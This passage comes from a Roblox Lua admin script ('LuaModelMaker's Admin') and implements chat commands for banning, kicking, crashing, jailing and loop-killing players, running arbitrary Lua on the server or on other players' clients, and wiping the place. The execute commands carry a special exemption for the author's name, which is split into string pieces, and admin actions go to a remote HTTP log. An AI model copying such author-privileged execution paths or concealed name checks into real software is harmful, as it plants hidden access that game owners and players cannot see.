  2402. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  2403. SendHint(Speaker, "All custom sounds have been removed", 4)
  2404. end
  2405. end
  2406.  
  2407. if Message == "clearlogs" or Message == "clearlog" then
  2408. Logs = {}
  2409. end
  2410.  
  2411. if Message == "clearexploitlog" or Message == "clearexploitlogs" or Message == "clearhacklog" or Message == "cel" then
  2412. DataStore:SetAsync("ExploitLog", {})
  2413. end
  2414.  
  2415. if Message == "nos" or Message == "noscripts" then
  2416. for _,Obj in pairs(Workspace:GetChildren()) do
  2417. if Obj:IsA("Script") or Obj:IsA("BaseScript") then if Obj ~= script then
  2418. Obj.Disabled = true
  2419. Obj:Destroy()
  2420. end end
  2421. end
  2422. end
  2423.  
  2424. if string.sub(Message, 1, 6+#Bet) == "showad"..Bet then
  2425. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  2426. for _,Player in pairs(Players) do
  2427. if Player ~= nil then
  2428. if Player.Backpack then
  2429. ExecuteResource("ShowAd", Player.Backpack, {})
  2430. end
  2431. end
  2432. end
  2433. end
  2434.  
  2435. if string.sub(Message, 1, 16+#Bet) == "replicatecommand"..Bet then
  2436. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 17+#Bet), Bet) if not Arg1 and Arg2 then return end
  2437. local Players = Scan(Arg1, Speaker)
  2438. local Command = Arg2
  2439. if #Command >= 1 then
  2440. if string.sub(Command,1,#Prefix) ~= Prefix then Command = Prefix..Command end
  2441. for _,Player in pairs(Players) do
  2442. if Player ~= nil then
  2443. coroutine.wrap(function() Chatted(Command, Player) end)()
  2444. end
  2445. end
  2446. end
  2447. end
  2448.  
  2449. if Message == "masterclear" or Message == "masterclean" or Message == "masterreset" or Message == "fullclear" or Message == "fullclean" or Message == "fullreset" then
  2450. local Answer = YesOrNo(Speaker, "Clean EVERYTHING?", "Do you really want to clear EVERYTHING? The only thing that will be left is the admin, a baseplate, and everything not in workspace. If you have a large place, this can cause major lag. Continue?")
  2451. if Answer == true then
  2452. for _,Obj in pairs(Workspace:GetChildren()) do
  2453. if Obj.className ~= "Terrain" then
  2454. if Obj.Name ~= "LuaModelMaker's Admin" then
  2455. if Obj.Name ~= "LuaModelMaker's Admin Settings" then
  2456. Obj:Destroy()
  2457. end
  2458. end
  2459. end
  2460. end
  2461. wait()
  2462. MakeBase()
  2463. wait()
  2464. for _,Player in pairs(Players:GetPlayers()) do
  2465. Player:LoadCharacter()
  2466. end
  2467. end
  2468. end
  2469.  
  2470. if Message == "savep" or Message == "save" or Message == "saveplace" then
  2471. local Answer = YesOrNo(Speaker, "Save Current Place", "Do you really want to save this place as-is? Continue?")
  2472. if Answer == true then
  2473. local Executed = ypcall(function()
  2474. local Saved,SavedMessage = game:SavePlace()
  2475. if not Saved then
  2476. SendMessage(Speaker, "Could not save", "Could not save place. Reason: "..SavedMessage, 5)
  2477. end
  2478. end)
  2479. if not Executed then
  2480. SendMessage(Speaker, "Could not save", "Could not save place. Either there's a vital error or SavePlace API is disabled", 5)
  2481. end
  2482. end
  2483. end
  2484.  
  2485. if Message == "downloadlogs" or Message == "downloadhttplogs" or Message == "getlogs" or Message == "gethttplogs" then
  2486. ListGui(Speaker, "Remote Http Logs", ReverseTable(DownloadUserdata(true).Logs))
  2487. end
  2488.  
  2489. end
  2490.  
  2491. if Rank == "Owner" or Rank == "Admin" then
  2492. -- Admin Commands --
  2493. if Message == "shutdown" then
  2494. SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  2495. Shutdown = true
  2496. end
  2497.  
  2498. if string.sub(Message, 1, 3+#Bet) == "ban"..Bet then
  2499. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  2500. SendHttpLog(Speaker.Name.." banned "..UnpackPlayers(Players), "WARNING")
  2501. for _,Player in pairs(Players) do
  2502. if Player ~= nil then
  2503. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2504. if PlayerAdminTrue == false then if not Ranks["Banned"][Player.Name] then
  2505. table.insert(Ranks["Banned"], Player.Name)
  2506. Kick(Player)
  2507. end end
  2508. end
  2509. end
  2510. end
  2511.  
  2512. if string.sub(Message, 1, 5+#Bet) == "unban"..Bet or string.sub(Message, 1, 5+#Bet) == "noban"..Bet then
  2513. local AfterMessage = string.sub(Message, 6+#Bet)
  2514. local Table = "Banned"
  2515. if AfterMessage == "all" then
  2516. Ranks[Table] = {}
  2517. end
  2518. for Num,RankedPlayer in pairs(Ranks[Table]) do
  2519. if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
  2520. table.remove(Ranks[Table], Num)
  2521. end
  2522. end
  2523. end
  2524.  
  2525. if string.sub(Message, 1, 5+#Bet) == "crash"..Bet then
  2526. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  2527. SendHttpLog(Speaker.Name.." crashed "..UnpackPlayers(Players), "INFORMATION")
  2528. for _,Player in pairs(Players) do
  2529. if Player ~= nil then
  2530. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2531. if PlayerAdminTrue == false then if not Ranks["Crashed"][Player.Name] then
  2532. table.insert(Ranks["Crashed"], Player.Name)
  2533. Crash(Player)
  2534. end end
  2535. end
  2536. end
  2537. end
  2538.  
  2539. if string.sub(Message, 1, 7+#Bet) == "uncrash"..Bet or string.sub(Message, 1, 7+#Bet) == "nocrash"..Bet then
  2540. local AfterMessage = string.sub(Message, 8+#Bet)
  2541. local Table = "Crashed"
  2542. if AfterMessage == "all" then
  2543. Ranks[Table] = {}
  2544. end
  2545. for Num,RankedPlayer in pairs(Ranks[Table]) do
  2546. if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
  2547. table.remove(Ranks[Table], Num)
  2548. end
  2549. end
  2550. end
  2551.  
  2552. if string.sub(Message, 1, 4+#Bet) == "mute"..Bet then
  2553. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2554. SendHttpLog(Speaker.Name.." has muted "..UnpackPlayers(Players), "INFORMATION")
  2555. for _,Player in pairs(Players) do
  2556. if Player ~= nil then
  2557. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2558. if PlayerAdminTrue == false then if not Ranks["Muted"][Player.Name] then
  2559. table.insert(Ranks["Muted"], Player.Name)
  2560. CoreGui(Player, "Chat", false)
  2561. end end
  2562. end
  2563. end
  2564. end
  2565.  
  2566. if string.sub(Message, 1, 6+#Bet) == "unmute"..Bet or string.sub(Message, 1, 6+#Bet) == "nomute"..Bet or string.sub(Message, 1, 6+#Bet) == "demute"..Bet then
  2567. for Num,MutedPlayer in pairs(Ranks["Muted"]) do
  2568. local AfterMessage = string.sub(Message, 7+#Bet)
  2569. local Table = "Muted"
  2570. local Players = Scan(AfterMessage, Speaker)
  2571. for _,Player in pairs(Players) do
  2572. if Player ~= nil then
  2573. CoreGui(Player, "Chat", true)
  2574. end
  2575. end
  2576. if AfterMessage == "all" then
  2577. Ranks[Table] = {}
  2578. end
  2579. for Num,RankedPlayer in pairs(Ranks[Table]) do
  2580. if string.sub(string.lower(RankedPlayer),1,#AfterMessage) == string.lower(AfterMessage) then
  2581. table.remove(Ranks[Table], Num)
  2582. end
  2583. end
  2584. end
  2585. end
  2586.  
  2587. if string.sub(Message, 1, 4+#Bet) == "kick"..Bet then
  2588. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2589. SendHttpLog(Speaker.Name.." kicked "..UnpackPlayers(Players), "INFORMATION")
  2590. for _,Player in pairs(Players) do
  2591. if Player ~= nil then
  2592. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2593. if PlayerAdminTrue == false then
  2594. Kick(Player)
  2595. end
  2596. end
  2597. end
  2598. end
  2599.  
  2600. if string.sub(Message, 1, 6+#Bet) == "member"..Bet then
  2601. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  2602. for _,Player in pairs(Players) do if Player ~= nil then
  2603. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2604. local AddToList = true
  2605. if PlayerAdminTrue == true then
  2606. if ConvertRank(PlayerRank) >= 1 then
  2607. AddToList = false
  2608. end
  2609. end
  2610. if AddToList == true then
  2611. table.insert(Ranks["Member"], Player.Name)
  2612. TellAdmin(Player, "Member")
  2613. end
  2614. end end
  2615. end
  2616.  
  2617. if string.sub(Message, 1, 1+#Bet) == "c"..Bet then
  2618. if LuaModelMakerStamp == false or Speaker.Name == "LuaModelMake".."r" then
  2619. Execute(Script, Workspace, Speaker, string.sub(RawMessage,2+#Bet))
  2620. end
  2621. end
  2622.  
  2623. if string.sub(Message, 1, 1+#Bet) == "l"..Bet then
  2624. if Speaker.Character ~= nil then
  2625. if LuaModelMakerStamp == false or Speaker.Name == "L".."uaModelMake".."r" then
  2626. Execute(LocalScript, Speaker.Backpack, Speaker, string.sub(RawMessage,2+#Bet))
  2627. end
  2628. end
  2629. end
  2630.  
  2631. if string.sub(Message,1,3+#Bet) == "lto"..Bet then
  2632. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 4+#Bet), Bet) if not Arg1 and Arg2 then return end
  2633. local Players = Scan(string.lower(Arg1), Speaker)
  2634. local Script = Arg2
  2635. for _,Player in pairs(Players) do
  2636. if Player ~= nil then
  2637. if Player.Character ~= nil then
  2638. Execute(LocalScript, Player.Backpack, Speaker, Script)
  2639. end
  2640. end
  2641. end
  2642. end
  2643.  
  2644. if string.sub(Message, 1, 4+#Bet) == "jail"..Bet then
  2645. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2646. for _,Player in pairs(Players) do
  2647. if Player ~= nil then
  2648. local Continue = true
  2649. for Num,Name in pairs(Jailed) do if Name == Player.Name then table.remove(Jailed, Num) end end wait()
  2650. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  2651. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  2652. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  2653. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  2654. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  2655. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  2656. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  2657. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  2658. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  2659. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  2660. Cell:MoveTo(Vector3.new(0,3,0))
  2661. if Player.Character then if Player.Character:FindFirstChild("Torso") then Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0)) end Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0)) end
  2662. table.insert(Objects, Cell)
  2663. function OnRespawn(Char)
  2664. wait()
  2665. if Continue == true then
  2666. if Cell and Floor then
  2667. local Valid = false
  2668. for _,Name in pairs(Jailed) do if Name == Player.Name then Valid = true end end
  2669. if Valid == true then
  2670. Char:MoveTo(Floor.Position + Vector3.new(0,2,0))
  2671. else
  2672. Continue = false
  2673. OnRespawn = function() end
  2674. return
  2675. end
  2676. else
  2677. Continue = false
  2678. OnRespawn = function() end
  2679. return
  2680. end
  2681. else
  2682. OnRespawn = function() end
  2683. return
  2684. end
  2685. end
  2686. table.insert(Jailed, Player.Name)
  2687. Player.CharacterAdded:connect(OnRespawn)
  2688. end
  2689. end
  2690. end
  2691.  
  2692. if string.sub(Message, 1, 6+#Bet) == "nojail"..Bet then
  2693. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  2694. for _,Player in pairs(Players) do
  2695. if Player ~= nil then
  2696. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  2697. for Num,Name in pairs(Jailed) do if Name == Player.Name then table.remove(Jailed, Num) end end
  2698. end
  2699. end
  2700. end
  2701.  
  2702. if string.sub(Message, 1, 5+#Bet) == "place"..Bet then
  2703. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  2704. local Players = Scan(Arg1, Speaker)
  2705. local PlaceID = tonumber(Arg2)
  2706. for _,Player in pairs(Players) do
  2707. if Player ~= nil then
  2708. PromptPurchase(Player, PlaceID, Speaker, (function() TS:Teleport(PlaceID, Player) end))
  2709. --TeleportToPlace(Speaker, Player, PlaceID, (function() TS:Teleport(PlaceID, Player) end))
  2710. end
  2711. end
  2712. end
  2713.  
  2714. if string.sub(Message, 1, 6+#Bet) == "follow"..Bet then
  2715. local Arg1, Arg2 = GetSplit(string.sub(Message, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  2716. local Players = Scan(Arg1, Speaker)
  2717. local UserID = tonumber(Arg2)
  2718. if UserID then
  2719. local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(UserID)
  2720. if Suc then
  2721. for _,Player in pairs(Players) do
  2722. if Player ~= nil then
  2723. PromptPurchase(Player, PlaceID, Speaker, (function() TS:Teleport(PlaceID, Player) end))
  2724. --TeleportToPlace(Speaker, Player, PlaceID, (function() TS:TeleportToPlaceInstance(PlaceID, IntID, Player) end))
  2725. end
  2726. end
  2727. else
  2728. SendMessage(Speaker, "Place Teleportation Failed for UserID: "..UserID, "Cannot follow UserID: "..UserID..". Reason: "..Err, 5)
  2729. end
  2730. end
  2731. end
  2732.  
  2733. if string.sub(Message, 1, 4+#Bet) == "note"..Bet then
  2734. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  2735. local Players = Scan(Arg1, Speaker)
  2736. local Data = Arg2
  2737. for _,Player in pairs(Players) do
  2738. if Player ~= nil then
  2739. local ExistingData = Player:LoadInstance("Data")
  2740. if ExistingData == nil then
  2741. ExistingData = Instance.new("Configuration")
  2742. end
  2743. ExistingData.Name = "Player Data"
  2744. local Key = Instance.new("Configuration", ExistingData)
  2745. Key.Name = Data
  2746. Player:SaveInstance("Data", ExistingData)
  2747. end
  2748. end
  2749. end
  2750.  
  2751. if string.sub(Message, 1, 10+#Bet) == "removenote"..Bet then
  2752. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2753. local Players = Scan(Arg1, Speaker)
  2754. local Data = Arg2
  2755. for _,Player in pairs(Players) do
  2756. if Player ~= nil then
  2757. local ExistingData = Player:LoadInstance("Data")
  2758. if ExistingData ~= nil then
  2759. if Data == "all" then
  2760. ExistingData:ClearAllChildren()
  2761. else
  2762. for _,DataObj in pairs(ExistingData:GetChildren()) do
  2763. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  2764. DataObj:Destroy()
  2765. end
  2766. end
  2767. end
  2768. Player:SaveInstance("Data", ExistingData)
  2769. end
  2770. end
  2771. end
  2772. end
  2773.  
  2774. if string.sub(Message,1,8+#Bet) == "loopkill"..Bet then
  2775. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  2776. local Players = Scan(Arg1, Speaker)
  2777. local Times = tonumber(Arg2)
  2778. for _,Player in pairs(Players) do
  2779. coroutine.wrap(function()
  2780. for i = 1,Times do
  2781. if Player ~= nil then
  2782. if Player.Character ~= nil then
  2783. Player.Character:BreakJoints()
  2784. end
  2785. local Stop = game.Workspace:FindFirstChild("LMM Loopkill Stop")
  2786. if Stop then
  2787. if Stop:IsA("StringValue") then
  2788. if string.lower(Stop.Value) == string.lower(Player.Name) then
  2789. Stop:Destroy()
  2790. break
  2791. end
  2792. end
  2793. end
  2794. end
  2795. wait(5.1)
  2796. end
  2797. end)()
  2798. end
  2799. end
  2800.  
  2801. if string.sub(Message,1,10+#Bet) == "noloopkill"..Bet then
  2802. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  2803. for _,Player in pairs(Players) do
  2804. if Player ~= nil then
  2805. local Stop = game.Workspace:FindFirstChild("LMM Loopkill Stop") if Stop then Stop:Destroy() end
  2806. Stop = Instance.new("StringValue", Workspace) Stop.Name = "LMM Loopkill Stop" Stop.Value = string.lower(Player.Name)
  2807. end
  2808. end
  2809. end
  2810.  
  2811. if string.sub(Message, 1, 2+#Bet) == "sm"..Bet then
  2812. for _,Player in pairs(Players:GetPlayers()) do
  2813. SendMessage(Player, "SYSTEM MESSAGE", string.sub(RawMessage, 3+#Bet), 3)
  2814. end
  2815. end
  2816.  
  2817. if string.sub(Message, 1, 10+#Bet) == "accelerate"..Bet then
  2818. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  2819. for _,Player in pairs(Players) do
  2820. if Player ~= nil then
  2821. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2822. if PlayerAdminTrue == true then
  2823. TS:Teleport(155307015, Player)
  2824. end
  2825. end
  2826. end
  2827. end
  2828.  
  2829. if Message == "syncsoundlist" or Message == "syncmusiclist" or Message == "syncaudiolist" then
  2830. SyncSoundList(Speaker)
  2831. end
  2832.  
  2833. if Message == "cleart" or Message == "clearterrain" or Message == "cleant" or Message == "cleanterrain" then
  2834. local Answer = YesOrNo(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?")
  2835. if Answer == true then
  2836. Workspace.Terrain:Clear()
  2837. end
  2838. end
  2839.  
  2840. if Message == "clearstamp" or Message == "cleanstamp" or Message == "clearstamper" or Message == "cleanstamper" or Message == "clears" or Message == "cleans" then
  2841. local Answer = YesOrNo(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?")
  2842. if Answer == true then
  2843. for _,Obj in pairs(Workspace:GetChildren()) do
  2844. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  2845. Obj:Destroy()
  2846. end
  2847. end
  2848. end
  2849. end
  2850.  
  2851. if Message == "base" or Message == "baseplate" then
  2852. MakeBase()
  2853. end
  2854.  
  2855. if string.sub(Message,1,8+#Bet) == "addsound"..Bet or string.sub(Message,1,8+#Bet) == "addmusic"..Bet or string.sub(Message,1,8+#Bet) == "addaudio"..Bet then
  2856. local Arg1, Arg2 = GetSplit(string.sub(Message, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  2857. local Name = string.upper(string.sub(Arg2,1,1))..string.sub(Arg2,2)
  2858. local CustomSounds = DataStore:GetAsync("MML Custom Sounds")
  2859. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  2860. CustomSounds = {}
  2861. DataStore:SetAsync("M".."ML Custom Sounds", {})
  2862. end
  2863. if tonumber(Arg1) then
  2864. local Request = MPS:GetProductInfo(Arg1)
  2865. if Request.AssetTypeId == 3 then
  2866. CustomSounds[Name] = Arg1
  2867. SoundList[Name] = {Arg1, Request.Name}
  2868. DataStore:SetAsync("MML Custom Sounds", CustomSounds)
  2869. SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  2870. else
  2871. SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  2872. end
  2873. end
  2874. end
  2875.  
  2876. if string.sub(Message,1,8+#Bet) == "waypoint"..Bet then
  2877. local Type = string.sub(Message, 9+#Bet, 14+#Bet)
  2878. if Type == "player" then
  2879. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 15+(#Bet*2)), Bet) if not Arg1 and Arg2 then return end
  2880. local Player = Scan(string.lower(Arg1), Speaker)[1]
  2881. local PosName = Arg2
  2882. if Player then
  2883. if Player.Character ~= nil then
  2884. if Player.Character.Torso then
  2885. local TorPos = Player.Character.Torso.Position
  2886. Waypoints[PosName] = Vector3.new(Round(TorPos.X), Round(TorPos.Y), Round(TorPos.Z))
  2887. end
  2888. end
  2889. end
  2890. elseif Type == "vector" then
  2891. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 15+(#Bet*2)), Bet) if not Arg1 and Arg2 then return end
  2892. local Arg3, Arg4 = GetSplit(Arg2, Bet) if not Arg3 and Arg4 then return end
  2893. local Arg5, Arg6 = GetSplit(Arg4, Bet) if not Arg5 and Arg6 then return end
  2894. local PosName = Arg6
  2895. if tonumber(Arg1) and tonumber(Arg3) and tonumber(Arg5) then
  2896. Waypoints[PosName] = Vector3.new(Round(tonumber(Arg1)), Round(tonumber(Arg3)), Round(tonumber(Arg5)))
  2897. end
  2898. end
  2899. end
  2900.  
  2901.  
  2902. if string.sub(Message, 1, 14+#Bet) == "removewaypoint"..Bet or string.sub(Message, 1, 14+#Bet) == "deletewaypoint"..Bet then
  2903. local WPName = string.sub(Message, 15+#Bet)
  2904. local Num = 0
  2905. for PosName,WP in pairs(Waypoints) do
  2906. Num = Num + 1
  2907. if string.sub(string.lower(PosName),1,#WPName) == WPName then
  2908. Waypoints[PosName] = nil
  2909. end
  2910. end
  2911. end
  2912.  
  2913. if string.sub(Message,1,6+#Bet) == "notify"..Bet then
  2914. SendHttpLog(Speaker.Name.." Sent Notification: "..string.sub(RawMessage,7+#Bet), "NOTIFICATION", Speaker)
  2915. end
  2916.  
  2917. end
  2918.  
  2919. if Rank == "Owner" or Rank == "Admin" or Rank == "Member" then
  2920. -- Member Commands --
  2921.  
  2922. if Message == "test" then
  2923. SendMessage(Speaker, "Test", "Test complete! LuaModelMaker's Admin works fine!", 3)
  2924. end
  2925.  
  2926. if Message == "logs" or Message == "log" then
  2927. ListGui(Speaker, "Logs", ReverseTable(Logs))
  2928. end
  2929.  
  2930. if string.sub(Message, 1, 1+#Bet) == "m"..Bet then
  2931. for _,Player in pairs(Players:GetPlayers()) do
  2932. SendMessage(Player, "Message from "..Speaker.Name, string.sub(RawMessage, 2+#Bet), 5)
  2933. end
  2934. end
  2935.  
  2936. if string.sub(Message, 1, 1+#Bet) == "h"..Bet then
  2937. for _,Player in pairs(Players:GetPlayers()) do
  2938. SendHint(Player, string.sub(RawMessage, 2+#Bet), 5)
  2939. end
  2940. end
  2941.  
  2942. if string.sub(Message, 1, 4+#Bet) == "kill"..Bet then
  2943. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2944. for _,Player in pairs(Players) do
  2945. if Player ~= nil then
  2946. if Player.Character ~= nil then
  2947. Player.Character:BreakJoints()
  2948. end
  2949. end
  2950. end
  2951. end
  2952.  
  2953. if string.sub(Message, 1, 3+#Bet) == "age"..Bet then
  2954. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  2955. local TmpTable = {}
  2956. for _,Player in pairs(Players) do
  2957. if Player ~= nil then
  2958. table.insert(TmpTable, Player.Name.." is "..FindAge(Player.AccountAge).." old")
  2959. end
  2960. end
  2961. ListGui(Speaker, "Ages", TmpTable)
  2962. end
  2963.  
  2964. if string.sub(Message,1,2+#Bet) == "ff"..Bet then
  2965. local Players = Scan(string.sub(Message, 3+#Bet), Speaker)
  2966. for _,Player in pairs(Players) do
  2967. if Player ~= nil then
  2968. if Player.Character ~= nil then
  2969. Instance.new("ForceField", Player.Character)
  2970. end
  2971. end
  2972. end
  2973. end
  2974.  
  2975. if string.sub(Message,1,4+#Bet) == "unff"..Bet or string.sub(Message,1,4+#Bet) == "noff"..Bet then
  2976. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  2977. for _,Player in pairs(Players) do
  2978. if Player ~= nil then
  2979. if Player.Character ~= nil then
  2980. for _,Get in pairs(Player.Character:GetChildren()) do
  2981. if Get:IsA("ForceField") then
  2982. Get:Destroy()
  2983. end
  2984. end
  2985. end
  2986. end
  2987. end
  2988. end
  2989.  
  2990. if string.sub(Message,1,7+#Bet) == "respawn"..Bet then
  2991. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  2992. for _,Player in pairs(Players) do
  2993. if Player ~= nil then
  2994. Player:LoadCharacter()
  2995. end
  2996. end
  2997. end
  2998.  
  2999. if string.sub(Message,1,3+#Bet) == "hat"..Bet then
  3000. local Arg1, Arg2 = GetSplit(string.sub(Message, 4+#Bet), Bet) if not Arg1 and Arg2 then return end
  3001. local Players = Scan(Arg1, Speaker)
  3002. local ID = tonumber(Arg2)
  3003. for _,Player in pairs(Players) do
  3004. if Player ~= nil then
  3005. if Player.Character ~= nil then
  3006. if ID ~= nil then
  3007. local Object = Insert(ID)
  3008. for _,Obj in pairs(Object:GetChildren()) do if Obj:IsA("Hat") then Obj.Parent = Player.Character end end
  3009. end
  3010. end
  3011. end
  3012. end
  3013. end
  3014.  
  3015. if string.sub(Message,1,4+#Bet) == "gear"..Bet then
  3016. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3017. local Players = Scan(Arg1, Speaker)
  3018. local ID = tonumber(Arg2)
  3019. for _,Player in pairs(Players) do
  3020. if Player ~= nil then
  3021. if Player.Backpack ~= nil then
  3022. local Object = Insert(ID)
  3023. for _,Obj in pairs(Object:GetChildren()) do if Obj:IsA("Tool") or Obj:IsA("HopperBin") then Obj.Parent = Player.Character end end
  3024. end
  3025. end
  3026. end
  3027. end
  3028.  
  3029. if string.sub(Message,1,5+#Bet) == "sword"..Bet then
  3030. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3031. for _,Player in pairs(Players) do
  3032. if Player ~= nil then
  3033. if Player.Backpack ~= nil then
  3034. if Player.Character ~= nil then
  3035. local Object = game:GetService("InsertService"):LoadAsset(125013769)
  3036. Object:GetChildren()[1].Parent = Player.Character
  3037. end
  3038. end
  3039. end
  3040. end
  3041. end
  3042.  
  3043. if string.sub(Message,1,7+#Bet) == "ragdoll"..Bet then
  3044. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3045. for _,Player in pairs(Players) do
  3046. if Player ~= nil then
  3047. if Player.Character ~= nil then
  3048. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3049. Player.Character.Humanoid:Destroy()
  3050. end
  3051. end
  3052. end
  3053. end
  3054. end
  3055.  
  3056. if string.sub(Message,1,3+#Bet) == "god"..Bet then
  3057. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  3058. for _,Player in pairs(Players) do
  3059. if Player ~= nil then
  3060. if Player.Character ~= nil then
  3061. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3062. Player.Character.Humanoid.MaxHealth = math.huge
  3063. Player.Character.Humanoid.Health = math.huge
  3064. end
  3065. end
  3066. end
  3067. end
  3068. end
  3069.  
  3070. if string.sub(Message,1,5+#Bet) == "nogod"..Bet or string.sub(Message,1,5+#Bet) == "ungod"..Bet then
  3071. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3072. for _,Player in pairs(Players) do
  3073. if Player ~= nil then
  3074. if Player.Character ~= nil then
  3075. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3076. Player.Character.Humanoid.MaxHealth = 100
  3077. Player.Character.Humanoid.Health = 100
  3078. end
  3079. end
  3080. end
  3081. end
  3082. end
  3083.  
  3084. if string.sub(Message,1,4+#Bet) == "char"..Bet then
  3085. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3086. local Players = Scan(Arg1, Speaker)
  3087. local ID = tonumber(Arg2) or 0
  3088. for _,Player in pairs(Players) do
  3089. if Player ~= nil then
  3090. if Arg2 == "reset" then
  3091. ID = Player.userId
  3092. end
  3093. if Player.Character ~= nil then
  3094. local Position = Player.Character.Torso.Position
  3095. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  3096. wait() Player:LoadCharacter() wait()
  3097. Player.Character:MoveTo(Position)
  3098. end
  3099. end
  3100. end
  3101. end
  3102.  
  3103. if string.sub(Message,1,2+#Bet) == "tp"..Bet then
  3104. local Arg1, Arg2 = GetSplit(string.sub(Message, 3+#Bet), Bet) if not Arg1 and Arg2 then return end
  3105. local PlayersFrom = Scan(Arg1, Speaker)
  3106. local PlayersTo = Scan(Arg2, Speaker)
  3107. if PlayersFrom and PlayersTo then
  3108. for _,PlayerFrom in pairs(PlayersFrom) do
  3109. if PlayerFrom ~= nil then
  3110. for _,PlayerTo in pairs(PlayersTo) do
  3111. if PlayerTo ~= nil then
  3112. if PlayerFrom.Character and PlayerTo.Character then
  3113. PlayerFrom.Character:MoveTo(PlayerTo.Character.Torso.Position)
  3114. end
  3115. end
  3116. end
  3117. end
  3118. end
  3119. end
  3120. end
  3121.  
  3122. if string.sub(Message, 1, 5+#Bet) == "blind"..Bet then
